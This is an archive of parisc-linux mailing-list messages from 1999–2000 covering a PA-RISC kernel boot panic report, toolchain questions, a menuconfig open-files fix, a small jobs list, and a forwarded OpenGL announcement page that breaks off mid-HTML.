Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id IAA24885; Thu, 27 Jan 2000 08:50:04 -0800 (PST)
In-Reply-To: <20000127112427.11602.qmail@web507.mail.yahoo.com>; from "Ulrich Strelow" at Jan 27, 100 3:24 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6752

I have never seen the shellpromt on my D320, but I am
getting the same thing as you.

| I have seen the shellprompt on my 715/33 using the CVS
| version 20000125 and defconfig (and removing the debug
| printk's from sched.c + system.h). But activating
| CONFIG_HIL leads to the following boot messages:
| 
| pagetable_init
| kernel BUG at bootmem.c:163!
| kernel BUG at bootmem.c:203!

This happened after I did an rm .config; make oldconfig dep clean Image.
Before that I was getting to the switch_to endless loop, but no prompt.

Here is what I get:

|Console: switching to IODC console
|The Kernel has started...
|Free memory starts at: 0xc02e2a9c
|FP CCR was 0xc0, will be set to 0xc0
|model   00005120 00000481 00000000 00000000 7768de7f 100000f0 00000004 000000ba 000000ba
|vers    00000008
|cpuid   000001e8
|CPUID vers 15 rev 8
|Model: UL L2 132 (803/D220,D320) with 32 MB RAM.
|CPU(s): 1 x PA7300LC at 132.000000 MHz
|Searching for devices in PDC firmware... a newer box...
|Found devices:
|1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
|2. Phantom PseudoBC GSC+ Port (7) at 0xffc01000, versions 0x505, 0x0, 0x0, 0x0, 0x0
|3. Bluefish Add-on FW-SCSI (4) at 0xfff84000, versions 0x13, 0x1, 0x89, 0x0, 0x80
|4. UL L2 132 (803/D220,D320) (0) at 0xfffbe000, versions 0x512, 0x0, 0x4, 0x0, 0x81
|5. UL L2 132 memory (1) at 0xfffbf000, versions 0x7f, 0x0, 0x9, 0x0, 0x0
|6. UL 550 Lasi Core BA (11) at 0xffd00000, versions 0x2f, 0x0, 0x81, 0x0, 0x0
|7. UL 550 Lasi Core RS-232 (10) at 0xffd05000, versions 0x2f, 0x0, 0x8c, 0x0, 0x0
|8. UL 550 Core SCSI (10) at 0xffd06000, versions 0x2f, 0x0, 0x82, 0x0, 0x0
|9. UL 350 Core LAN (802.3) (10) at 0xffd07000, versions 0x2f, 0x0, 0x8a, 0x0, 0x0
|10. UL 550 Core Centronics (10) at 0xffd02000, versions 0x2f, 0x0, 0x74, 0x0, 0x0
|11. UL 550 Core PC Keyboard (10) at 0xffd08000, versions 0x2f, 0x0, 0x84, 0x0, 0x0
|12. UL 550 Core PC Keyboard (10) at 0xffd08100, versions 0x2f, 0x0, 0x84, 0x0, 0x0
|13. UL 550 Core Wax BA (11) at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0, 0x0
|14. UL 550 Wax EISA BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0, 0x0
|15. UL 550 Wax Core RS-232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c, 0x0, 0x0
|That's a total of 15 devices.
|Linux version 2.3.29 (kirkb@chrome) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1 release)) #80 Thu Jan 27
|08:20:20 PST 2000
|init_bootmem 739 8192
|free_bootmem 002e2e9c 01d1d164
|d_conf 41402000
|initrd: c01c9000-c026b800
|command_line: /stand/vmlinux HOME=/ TERM=LINUX console=tty
|
|pagetable_init
|kernel BUG at bootmem.c:166!
|kernel BUG at bootmem.c:206!
|kernel BUG at bootmem.c:206!
|kernel BUG at bootmem.c:206!
|
|PSW  : 000cff0a  GR 1 : c01b8000  GR 2 : c0151810  GR 3 : 00002007
|GR 4 : 00002007  GR 5 : c1ff7000  GR 6 : c010e000  GR 7 : c010e000
|GR 8 : 00000010  GR 9 : c0277000  GR10 : 00010000  GR11 : 00010000
|GR12 : ffffffff  GR13 : 00000000  GR14 : 000000fd  GR15 : f0100000
|GR16 : f0000a98  GR17 : f0000094  GR18 : 00000020  GR19 : c2000000
|GR20 : 00000000  GR21 : 005001ff  GR22 : c02e3000  GR23 : 0000000a
|GR24 : 00006ffe  GR25 : 00000000  GR26 : c1ff7000  GR27 : c01c2000
|GR28 : 0000001d  GR29 : c02837c0  GR30 : c01c4780  GR31 : c013de40
|SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000
|SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000
|IAOQ : c01b8174 c01b816c
|IIR  : 0e791222
|
|bad address c2000000 (code 15)
|Kernel panic: bad address
|
|In swapper task - not syncing
|

In looking at the code, what is barfing is the last call to
__alloc_bootmem() at the end of pagetable_init() in
arch/parisc/mm/init.c. This is the call which I believe is 
supposed to allocate page zero and in prep to clear it out.

Here is what I have defined in my include/linux/autoconf.h

#define AUTOCONF_INCLUDED
#define CONFIG_EXPERIMENTAL 1
#define CONFIG_PA7100 1
#define CONFIG_PA7300 1
#define CONFIG_PA_1x 1
#define CONFIG_PA_11 1
#define CONFIG_GSC 1
#define CONFIG_GSC_LASI 1
#define CONFIG_NET 1
#define CONFIG_SYSVIPC 1
#define CONFIG_SYSCTL 1
#define CONFIG_BINFMT_SOM 1
#define CONFIG_BLK_DEV_RAM 1
#define CONFIG_BLK_DEV_INITRD 1
#define CONFIG_PARIDE_PARPORT_MODULE 1
#define CONFIG_NETDEVICES 1
#define CONFIG_VT 1
#define CONFIG_VT_CONSOLE 1
#define CONFIG_GSC_PS2 1
#define CONFIG_SERIAL 1
#define CONFIG_SERIAL_EXTENDED 1
#define CONFIG_UNIX98_PTYS 1
#define CONFIG_UNIX98_PTY_COUNT (256)
#define CONFIG_ISO9660_FS 1
#define CONFIG_PROC_FS 1
#define CONFIG_EXT2_FS 1
#define CONFIG_MSDOS_PARTITION 1
#define CONFIG_PDC_CONSOLE 1
#define CONFIG_IODC_CONSOLE 1
#define CONFIG_MAGIC_SYSRQ 1

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Shack <sshack@cln.etc.bc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What (in gory detail) do I need to compile for hppa1.1 (32bit)
Date: Thu, 27 Jan 2000 15:16:39 -0800
Lines: 76
Approved: news@gmane.org
Message-ID: <3890D1D7.8BDEBB3B@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618746 29855 80.91.229.3 (22 Nov 2014 01:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sshack@cln.etc.bc.ca  Thu Jan 27 17:16:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA05352
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Jan 2000 17:16:11 -0700
Original-Received: (qmail 8190 invoked by uid 15267); 27 Jan 2000 23:16:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8155 invoked from network); 27 Jan 2000 23:16:55 -0000
Original-Received: from learn.etc.bc.ca (142.44.5.2)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2000 23:16:55 -0000
Original-Received: from cln.etc.bc.ca (24.65.187.169.bc.wave.home.com [24.65.187.169])
	by learn.etc.bc.ca (8.9.3/8.9.3) with ESMTP id PAA08339
	for <parisc-linux@thepuffingroup.com>; Thu, 27 Jan 2000 15:16:12 -0800 (PST)
Original-Sender: sshack@learn.etc.bc.ca
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6753

What tools/versions do I need to compile the kernel for hppa 1.1 32bit.
gcc? binutils, assembler? Linker. Does the SOM linker compile on
linux/x86?

Please give gory details.

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 15:02:57 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id PAA04811
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 15:02:56 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 15:02:56 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id PAA25897
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 15:58:20 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id QAA29725
	for <pcj@primenet.com>; Fri, 12 Mar 1999 16:43:47 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd029647; Fri Mar 12 16:43:36 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id RAA31221;
	Fri, 12 Mar 1999 17:59:15 -0500
Resent-Date: Fri, 12 Mar 1999 17:59:15 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Fri, 12 Mar 1999 14:58:52 -0800 (PST)
From: Jason Eckhardt <jason@equator.com>
X-Gnus-Mail-Source: directory:/home/pcj/incoming
Message-Id: <199903122258.OAA15588@gatekeeper.equator.com>
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Cc: jason@gatekeeper.equator.com
Resent-Message-ID: <"KMXzq1.0.kd7.3nPws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/183
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 73ef22d75497cd1ff4a7d61d2965c451
Lines: 29
Xref: merlin.pcj.primenet.com palinux:154


Grant Grundler <grundler@cup.hp.com> wrote:

>
> Works on B132L (early version B-class). Will try it on a newer
> C-class next.
>
  
  Thanks for helping out.

> One gripe: The test code doesn't automatically reboot the box.
> I use remote consoles and have to walk over to the machine room
> to cycle power...

  Sorry about that..my HP sits at my feet and I just hit the TOC button.
  I'll add this to the next test version.

>remember I'm doing this in my "spare" time.

  Same here.

  Jason.

  

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] does make menuconfig break for you?
Date: Fri, 28 Jan 2000 16:29:52 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20000128162952.W32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618746 29859 80.91.229.3 (22 Nov 2014 01:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Jan 28 14:28:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA13725
	for <parisc-linux@puffin.external.hp.com>; Fri, 28 Jan 2000 14:28:16 -0700
Original-Received: (qmail 12238 invoked by uid 15267); 28 Jan 2000 20:29:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12212 invoked from network); 28 Jan 2000 20:29:12 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 28 Jan 2000 20:29:12 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA09895
	for parisc-linux@thepuffingroup.com; Fri, 28 Jan 2000 16:29:52 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6754


i've been testing out make menuconfig and i've realised why it breaks for
a lot of people.

if you get something like this output:

/bin/bash scripts/Menuconfig arch/parisc/config.in
Using defaults found in .config
Preparing scripts: functions, parsingawk: Cannot open file drivers/sound/Config.in.
        A maximum of 54 files can be open at one time.
 The source line number is 10.
Awk died with error code 2. Giving up.
........................scripts/Menuconfig: ./MCmenu30: line 6: syntax error: unexpected end of file


then this means the number of files you may have open simultaneously is
too low.  the default under hpux seems to be 60.  to fix this, type:

/usr/bin/ulimit -n 100

which is enough to work for me.  happy configuring..


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] small jobs list
Date: Sat, 29 Jan 2000 17:55:32 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20000129175532.B32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618747 29863 80.91.229.3 (22 Nov 2014 01:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sat Jan 29 15:53:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22942
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 Jan 2000 15:53:52 -0700
Original-Received: (qmail 5832 invoked by uid 15267); 29 Jan 2000 21:54:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5808 invoked from network); 29 Jan 2000 21:54:51 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2000 21:54:51 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA11845
	for parisc-linux@thepuffingroup.com; Sat, 29 Jan 2000 17:55:32 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6755


Here's some small jobs which need doing.  None are critical, please let me
know if you decide to work on them:

 * NCR53c710 support.  This is the later scsi chipset in the 700 series.

 * Fixing floppy.c.  It doesn't compile right now.

 * Fix binfmt_elf.c.  It doesn't compile either.  Take care that adjusting
     the argv and envp pointer should be done in the opposite direction.
     I can't remember if we already did that or not -- check it against
     Linus'.



From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "alex mckale" <amckale@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: OpenGL - High Performance 2D/3D Graphics
Date: Mon, 31 Jan 2000 09:13:07 -0800
Lines: 1074
Approved: news@gmane.org
Message-ID: <00e001bf6c0e$7172e3c0$b163000f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----=_NextPart_000_00E1_01BF6BCB.634FA3C0"
X-Trace: ger.gmane.org 1416618747 29867 80.91.229.3 (22 Nov 2014 01:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:27 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: amckale@cup.hp.com  Mon Jan 31 11:13:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA06735
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jan 2000 11:13:15 -0700
Original-Received: (qmail 23203 invoked by uid 15267); 31 Jan 2000 17:14:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23177 invoked from network); 31 Jan 2000 17:14:12 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2000 17:14:12 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by atlrel2.hp.com (Postfix) with ESMTP id BD1ADE2
	for <parisc-linux@thepuffingroup.com>; Mon, 31 Jan 2000 12:14:07 -0500 (EST)
Original-Received: from am724041 (am724041.cup.hp.com [15.0.99.177]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0.1) id JAA14203 for <parisc-linux@thepuffingroup.com>; Mon, 31 Jan 2000 09:14:05 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6756

This is a multi-part message in MIME format.

------=_NextPart_000_00E1_01BF6BCB.634FA3C0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_00E2_01BF6BCB.63621A50"


------=_NextPart_001_00E2_01BF6BCB.63621A50
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

SGI just released OpenGL Sample Implementation to Open Source Community.  

 < http://www.opengl.org/ > 


------=_NextPart_001_00E2_01BF6BCB.63621A50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR></HEAD>
<BODY>
<P>SGI just released OpenGL Sample Implementation to Open Source=20
Community.&nbsp;<FONT color=3D#0000ff><FONT face=3DArial size=3D1><SPAN=20
class=3D564281117-31012000>&nbsp;</SPAN></FONT></FONT>
<P><FONT color=3D#0000ff><FONT face=3DArial size=3D1><SPAN=20
class=3D564281117-31012000>&nbsp;</SPAN></FONT><A=20
href=3D"http://www.opengl.org/&nbsp;>&nbsp;"><SPAN =
class=3D564281117-31012000><FONT=20
face=3DArial =
size=3D1>&lt;&nbsp;</FONT></SPAN>http://www.opengl.org/<FONT =
face=3DArial=20
size=3D1><SPAN=20
class=3D564281117-31012000>&nbsp;&gt;&nbsp;</SPAN></FONT></A></FONT></P><=
/BODY></HTML>

------=_NextPart_001_00E2_01BF6BCB.63621A50--

------=_NextPart_000_00E1_01BF6BCB.634FA3C0
Content-Type: text/html;
	name="ATT00195.html"
Content-Transfer-Encoding: quoted-printable
Content-Base: "http://www.opengl.org/"
Content-Location: "http://www.opengl.org/"

<html>

	<head>
		<meta http-equiv=3D"content-type" =
content=3D"text/html;charset=3Diso-8859-1">
		<meta name=3D"generator" content=3D"Adobe GoLive 4">
		<title>OpenGL - High Performance 2D/3D Graphics</title>
		<meta name=3D"Description" " content=3D"The official site for OpenGL - =
The vendor-neutral, multi-platform graphics standard for high =
performance 2D/3D graphics. OpenGl.org is the one-stop hub for all =
OpenGL news, events, products and documentation and is the official site =
for the OpenGL Architectural Review Board.&lt;meta name=3D" keywords>
		<meta name=3D"Author" content=3D"ARTLab">
		<style type=3D"text/css" title=3D"OGL"><!--
			a:hover { color: red }-->
		</style>
	</head>

	<body text=3D"black" bgcolor=3D"white" link=3D"maroon" =
vlink=3D"#737373">
		<div align=3D"left">
			<table border=3D"0" cellpadding=3D"0" cellspacing=3D"0">
				<tr>
					<td><a href=3D"http://www.opengl.org"><img =
src=3D"Images/Logos/OGL.gif" width=3D"220" height=3D"97" border=3D"0" =
alt=3D"OpenGL Logo"></a></td>
					<td><img height=3D"41" width=3D"248" src=3D"Images/Phrase.gif" =
alt=3D"Industry Foundation for High Performance Graphics"></td>
					<td>&nbsp; &nbsp;&nbsp; &nbsp;</td>
					<td>
						<form method=3D"POST" =
action=3D"http://www.opengl.org/Pearl/redirect.cgi">
						<table border=3D"0" cellpadding=3D"0" cellspacing=3D"0">
							<tr>
								<td><select name=3D"url" size=3D"1" =
onchange=3D"location.href=3Dthis.form.url.options[this.form.url.selectedI=
ndex].value">
										<option selected value=3D"http://www.opengl.org">Quick Links
										<option value=3D"http://www.opengl.org">------
										<option value=3D"http://www.opengl.org">Current News
										<option =
value=3D"http://www.opengl.org/News/RecentNews.html">Recent News
										<option =
value=3D"http://www.opengl.org/News/Special/Features.html">Developer =
Feature
										<option value=3D"http://www.opengl.org">------
										<option value=3D"http://www.opengl.org/About/About.html">About =
OpenGL
										<option =
value=3D"http://www.opengl.org/About/Benchmarks.html">Benchmarking
										<option value=3D"http://www.opengl.org/About/ARB.html">ARB
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Products/Products.html">Win 9x/NT =
software
										<option =
value=3D"http://www.opengl.org/Products/Applications/LinuxApps.html">Linu=
x software
										<option =
value=3D"http://www.opengl.org/Products/Applications/MacApps.html">Mac =
software
										<option =
value=3D"http://www.opengl.org/Products/Accelerators.html">Accelerator =
boards
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Downloads/Downloads.html">Downloads
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Documentation/Documentation.html">Document=
ation
										<option =
value=3D"http://www.opengl.org/Documentation/Specs.html">Specifications
										<option =
value=3D"http://www.opengl.org/Documentation/OpenGL12.html">OpenGL 1.2
										<option =
value=3D"http://www.opengl.org/Documentation/Extensions.html">Extensions
										<option =
value=3D"http://www.opengl.org/Documentation/Implementations.html">Implem=
entations
										<option =
value=3D"http://www.opengl.org/Documentation/Books.html">Books
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Coding/Coding.html">Tutorials/Classes
										<option =
value=3D"http://www.opengl.org/Coding/SampleCode.html">Sample code
										<option =
value=3D"http://www.opengl.org/Coding/Rendering.html">Rendering tricks
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/License/License.html">Licensing
										<option =
value=3D"http://www.opengl.org/License/WebLogos.html">Web Logos
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Boards/discus/">Discussion Forums
										<option =
value=3D"http://www.opengl.org/Boards/Classifieds/Classifieds.html">Job =
Classifieds
										<option value=3D"http://www.opengl.org">------
										<option =
value=3D"http://www.opengl.org/Viewpoints/Feedback.html">Feedback/Support=

									</select></td>
								<td>
									<noscript>
									<input type=3D"image" name=3D"btn_masters" value=3D"Go" =
src=3D"Images/Go.gif" width=3D"25" height=3D"20" border=3D"0">
									</noscript>
								</td>
							</tr>
						</table>
						</form>
					</td>
				</tr>
			</table>
			<table border=3D"0" cellspacing=3D"0" cellpadding=3D"4" =
width=3D"100%">
				<tr>
					<td bgcolor=3D"#000010" align=3D"left" valign=3D"middle"><font =
size=3D"4" face=3D"Arial,Helvetica,sans-serif" =
color=3D"white"><b>www.opengl.org </b></font></td>
					<td align=3D"left" valign=3D"middle" bgcolor=3D"black">&nbsp;</td>
					<td bgcolor=3D"black" align=3D"left" valign=3D"middle"><a =
href=3D"Viewpoints/DevView.html"><font color=3D"white" =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><nobr>Developer =
Guide</nobr></font></a><nobr> <font color=3D"white" =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">&nbsp; | &nbsp;</font> <a =
href=3D"Viewpoints/UserView.html"><font color=3D"white" =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">End-User Guide</font></a> =
<font color=3D"white" face=3D"Arial,Helvetica,sans-serif" =
size=3D"2">&nbsp; | &nbsp;</font> <a =
href=3D"Viewpoints/SiteMap.html"><font color=3D"white" =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Site Map</font></a><font =
color=3D"white" face=3D"Arial,Helvetica,sans-serif" size=3D"2">&nbsp; | =
&nbsp;</font> <a href=3D"Viewpoints/Advertising.html"><font =
color=3D"white" face=3D"Arial,Helvetica,sans-serif" =
size=3D"2">Advertising</font></a></nobr></td>
					<td bgcolor=3D"black">&nbsp;</td>
				</tr>
			</table>
			<table border=3D"0" cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%">
				<tr>
					<td width=3D"100%" bgcolor=3D"black" valign=3D"middle"><img =
src=3D"Images/dot_clear.gif" width=3D"1" height=3D"3"></td>
				</tr>
			</table>
			<table border=3D"0" cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%">
				<tr>
					<td width=3D"3" bgcolor=3D"black" valign=3D"top" rowspan=3D"2"><img =
src=3D"Images/dot_clear.gif" width=3D"3" height=3D"1"></td>
					<td bgcolor=3D"#2994b5" valign=3D"top" align=3D"center" =
rowspan=3D"2" width=3D"154">
						<center>
							<table border=3D"0" cellpadding=3D"5" cellspacing=3D"0" =
width=3D"134">
								<tr>
									<td><a href=3D"index.shtml"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"white" size=3D"2"><b>Home =
</b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"News/RecentNews.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" size=3D"2"><b>Recent =
News </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"About/About.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" size=3D"2"><b>About =
OpenGL </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"Products/Products.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" size=3D"2"><b>Apps =
&amp; Hardware </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"Downloads/Downloads.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" =
size=3D"2"><b>Downloads </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"Documentation/Documentation.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" =
size=3D"2"><b>Developer Documentation </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"Coding/Coding.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" size=3D"2"><b>Coding =
Tutorials &amp;<br>
										Techniques </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"License/License.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" =
size=3D"2"><b>License &amp; Logos </b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"http://www.opengl.org/Boards/discus/"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" =
size=3D"2"><b>Discussion Forums </b></font></a></td>
								</tr>
								<tr>
									<td><a =
href=3D"http://www.opengl.org/Boards/Classifieds/Classifieds.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" size=3D"2"><b>OpenGL =
Classifieds</b></font></a></td>
								</tr>
								<tr>
									<td><a href=3D"Viewpoints/Feedback.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"black" =
size=3D"2"><b>Feedback/Support </b></font></a></td>
								</tr>
							</table>
							<br>
							<hr width=3D"80%">
							<form method=3D"GET" =
action=3D"http://www.opengl.org/search/wwwwais/wwwwais.cgi">
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td width=3D"150">
										<center>
											<font face=3D"Arial,Helvetica,sans-serif" =
color=3D"black"><b>SEARCH </b></font></center>
									</td>
								</tr>
								<tr>
									<td width=3D"150" align=3D"center"><input type=3D"text" =
name=3D"keywords" size=3D"16" tabindex=3D"1"></td>
								</tr>
								<tr>
									<td width=3D"150">
										<center>
											<input type=3D"submit" value=3D" Search " name=3D"SUBMIT" =
tabindex=3D"2"></center>
									</td>
								</tr>
							</table>
							</form>
							<br>
							<hr width=3D"80%">
							<br>
							<form action=3D"http://www.opengl.org/Pearl/robpoll.cgi" =
method=3D"post">
<table width=3D90% bgcolor=3Dlightgrey border=3D0 cellpadding=3D2 =
cellspacing=3D0>
<tr><th colspan=3D2><font face=3Darial color=3Dblack size=3D2>What kind =
of OpenGL applications most interest you?</font></th></tr>
<tr>
<td><input type=3D"radio" name=3D"response" value=3D"1"></td>
<td align=3Dleft><font face=3Darial color=3Dblack size=3D1>3D modeling & =
animation</td></tr>
<tr>
<td><input type=3D"radio" name=3D"response" value=3D"2"></td>
<td align=3Dleft><font face=3Darial color=3Dblack =
size=3D1>CAD/CAM</td></tr>
<tr>
<td><input type=3D"radio" name=3D"response" value=3D"3"></td>
<td align=3Dleft><font face=3Darial color=3Dblack =
size=3D1>Scientific</td></tr>
<tr>
